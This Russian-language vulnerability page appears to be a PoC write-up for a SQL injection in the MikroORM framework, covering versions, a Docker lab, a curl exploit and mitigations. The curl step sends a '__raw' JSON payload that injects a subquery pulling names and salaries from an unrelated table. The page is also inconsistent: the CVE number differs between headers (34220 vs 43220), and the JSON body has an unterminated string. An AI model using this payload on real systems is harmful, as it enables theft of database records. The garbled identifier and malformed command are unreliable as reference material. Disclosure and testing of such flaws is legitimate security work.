Назад к обновлениям
UpdatedSep 2, 2026

CVE-2026-34220 — Updated!

Уязвимость SQL-инъекции в MikroORM

Поделиться

CVE-2026-43220 MikroORM SQL Injection

★ CVE-2026-43220 MikroORM SQL Injection PoC ★

https://github.com/user-attachments/assets/33724cfc-6151-47ff-9415-2f50c5124cd1


Обзор

CVE-2026-43220 — это уязвимость SQL-инъекции в MikroORM, широко используемом ORM-фреймворке для TypeScript/Node.js.
Когда предоставленное пользователем значение, содержащее свойство __raw, передаётся в колонку пользовательского типа без валидации, проверка isRaw() в MikroORM распознаёт его как доверенное внутреннее Raw SQL-выражение и вставляет контролируемое атакующим значение sql напрямую в сгенерированный запрос без преобразования типов или санитизации, что приводит к непреднамеренному выполнению произвольного SQL.


Уязвимые версии

КатегорияВерсия
УязвимыеMikroORM версия ≤ 6.4.3 и 7.0.0 ≤ версия ≤ 7.0.5
ИсправленныеMikroORM 6.4.4 и 7.0.6

Воздействие

  • Неавторизованная эксфильтрация конфиденциальных данных из базы данных
  • Повреждение или непреднамеренное изменение существующих записей базы данных

Окружение

docker build -t cve-2026-43220-mikroorm-vuln .
docker run --rm -it -p 3000:3000 --name mikroorm-vuln cve-2026-43220-mikroorm-vuln

PoC

После запуска уязвимого окружения выполните шаги ниже, чтобы воспроизвести атаку.

Шаг 1. Отправьте запрос с вредоносной полезной нагрузкой, содержащей __raw

Отправьте JSON-тело, включающее свойство __raw, нацеленное на колонку пользовательского типа.

curl -X POST http://localhost:3000/write \
  -H "Content-Type: application/json" \
  -d '{
    "author":"x",
    "title":"x,
    "content": {
      "__raw": true,
      "sql": "(SELECT group_concat(name || ': ' || salary, ' / ') FROM salaries)"
    }
  }'

Шаг 2. Проверьте HTTP-ответ

Убедитесь, что API возвращает успешный ответ без каких-либо ошибок, что указывает на то, что MikroORM принял вредоносную полезную нагрузку как допустимое значение.

Шаг 3. Подтвердите эксфильтрацию конфиденциальных данных в содержимое поста

Убедитесь, что поле content созданного поста содержит результат запроса из таблицы salaries (например, Alice: 5000 / Bob: 7000 / ...), что подтверждает, что данные из несвязанной таблицы были незаметно внедрены в ответ без каких-либо ошибок или нарушения контроля доступа.


Меры защиты

  • Обновитесь до MikroORM 6.4.4 или более поздней версии, которая вводит проверку происхождения в isRaw() для отклонения внешне предоставленных свойств __raw
  • Применяйте валидацию входных данных на основе белого списка для отклонения неожиданных свойств, таких как __raw, перед передачей значений в слой ORM

Анализ

Категории